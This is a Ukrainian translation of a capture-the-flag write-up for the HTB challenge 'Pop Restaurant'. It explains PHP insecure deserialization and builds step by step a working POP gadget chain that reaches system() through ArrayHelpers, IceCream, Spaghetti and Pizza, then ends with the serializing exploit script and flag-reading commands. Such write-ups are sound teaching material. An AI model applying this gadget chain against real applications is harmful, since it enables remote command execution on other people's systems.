Ця історія має на меті детально пояснити, як вирішити задачу HTB «Pop Restaurant», оскільки техніка небезпечної десеріалізації в PHP не була моєю сильною стороною.
При вирішенні подібних задач ми повинні мати на увазі базові принципи:
Рисунок 1: Використовуйте Snyk для виявлення небезпечної десеріалізації
Коли йдеться про вразливість небезпечної десеріалізації, ми повинні мати доступ до класів. У цій задачі використовується архітектура MVC (Model View Controller), тому ми витягнемо класи з розділу Models:
Рисунок 2: Папка з моделями
У нас також є цей клас у helpers, який буде дуже корисним:
Рисунок 3: Додаткова папка з класом
Усі класи:
// Helpers/ArrayHelpers.php
namespace Helpers{
use \ArrayIterator;
class ArrayHelpers extends ArrayIterator
{
public $callback;
public function current()
{
$value = parent::current();
$debug = call_user_func($this->callback, $value);
return $value;
}
}
}
// Models/IceCreamModel.php
class IceCream
{
public $flavors;
public $topping;
public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}
// Models/PizzaModel.php
class Pizza
{
public $price;
public $cheese;
public $size;
public function __destruct()
{
echo $this->size->what;
}
}
// Models/SpaghettiModel.php
class Spaghetti
{
public $sauce;
public $noodles;
public $portion;
public function __get($tomato)
{
($this->sauce)();
}
}
І що нам дасть це?
Мета, по суті, полягає в виконанні команд, тому нам доведеться мислити евристично і почати з класу, який веде нас до цієї вразливості. Тому я спочатку зосереджуся на ArrayHelpers, і ви побачите чому.
class ArrayHelpers extends ArrayIterator
{
public $callback; // Функція для виклику
public function current()
{
$value = parent::current(); // Значення поточного елементу масиву
$debug = call_user_func($this->callback, $value); // callback_function($value)
return $value;
}
}
Це буде мій експлойти:
$array = ['whoami'];
$helpers = new \Helpers\ArrayHelpers($array); // Зауважте: ArrayHelpers має бути в папці Helpers
$helpers->callback = "system";
Додаткова примітка: це моє дерево директорій рішення:
Тепер повернемося до об’єкта helpers, який ми створили. Щоб активувати callback для кожного елементу масиву, нам доведеться пройти через arrayhelpers.
Приклад:
$array = ['whoami'];
$helpers = new \Helpers\ArrayHelpers($array);
$helpers->callback = "system";
// Приклад: виконання через foreach для демонстрації
foreach ($helpers as $value) {
echo $value . "\n";
}
Виконання:
Тепер, якщо ми прочитаємо програму, де виконується десеріалізація (order.php), то жодного разу не використовуватиметься foreach, насправді тут лише відбувається десеріалізація і виклик get_class(), щоб отримати ім’я класу.
/*
order.php
......
*/
$order = unserialize(base64_decode($_POST['data'])); // Уразливість: атака через десеріалізацію
$foodName = get_class($order); // Ця функція лише отримує ім’я класу
$result = $db->Order($id,$foodName); // Надсилаємо SQL запит
Що ж нам робити? Як змусити цей foreach, на який ми так довго чекали, спрацювати?
Подивімося на клас IceCream:
class IceCream
{
public $flavors;
public $topping;
public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}
У нього є магічний метод, це не просто якийсь метод, який можна викликати, тому давайте розглянемо, що таке магічні методи.
Щоб підсумувати, це тригери, які, коли в об’єкті виконується певна умова, спрямовують потік програми на цей метод.
Ось пояснення кожного з них і коли вони активуються:
[
PayloadsAllTheThings/Insecure Deserialization/PHP.md at master · swisskyrepo/PayloadsAllTheThings
Список корисних payloads та обходів для Web Application Security та Pentest/CTF - PayloadsAllTheThings/Insecure…
github.com
](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/PHP.md?source=post_page-----351d77466d26--------------------------------#finding-and-using-gadgets)
Отже, оскільки магічний метод, який нас цікавить, — це _invoke, нам потрібно буде викликати наш об’єкт як функцію: (Примітка: атрибут flavors буде об’єктом $helpers, оскільки саме цей масив буде перебиратися, коли спрацює метод _invoke)
$array = ['whoami'];
$helpers = new \Helpers\ArrayHelpers($array);
$helpers->callback = "system";
$ice_cream = new IceCream();
$ice_cream->flavors=$helpers;
// Активуємо __invoke
$ice_cream("nothing");
Тепер нам потрібно запитати себе: чи є якийсь гаджет, який може викликати наш об’єкт ice_cream як функцію?
Так, це клас Spaghetti:
class Spaghetti
{
public $sauce;
public $noodles;
public $portion;
public function __get($tomato)
{
// Атрибут sauce як функція цікаво...
($this->sauce)();
}
}
Отже, все, що нам потрібно, це щоб атрибут sauce нашого об’єкта spaghetti був об’єктом icecream, і всередині icecream ми матимемо ArrayHelpers, щоб усе це активувати.
Магічний метод __get викликається, коли звертаються до приватного або неіснуючого атрибуту, дивіться:
$array = ['whoami'];
$helpers = new \Helpers\ArrayHelpers($array);
$helpers->callback = "system";
$ice_cream = new IceCream();
$ice_cream->flavors=$helpers;
$spaghetti = new Spaghetti();
$spaghetti->sauce=$ice_cream;
// Активуємо __get
$spaghetti->nothing;
Тепер нам потрібен ще один гаджет, щоб викликати __get і активувати решту, це клас Pizza:
class Pizza
{
public $price;
public $cheese;
public $size;
public function __destruct()
{
echo $this->size->what; // Атрибут what не існує, коли $this->size=$spaghetti , тоді отримуємо атрибут what, що активує функцію __get
}
}
Destruct викликається, коли немає більше посилань на об’єкт, тобто в будь-який момент destruct буде викликано в потоці order.php, тому це буде базовий магічний метод для активації решти.
Мій експлойти:
$array = [''];
$helpers = new \Helpers\ArrayHelpers($array);
$helpers->callback = "system";
$ice_cream = new IceCream();
$ice_cream->flavors=$helpers;
$spaghetti = new Spaghetti();
$spaghetti->sauce=$ice_cream;
$spaghetti->nothing;
$pizza = new Pizza();
$pizza->size = $spaghetti;
$obj_ser = serialize($pizza);
echo $obj_ser;
ls command
cat flag.txt
Перекладено з: Pop Chains — Insecure Deserialization in PHP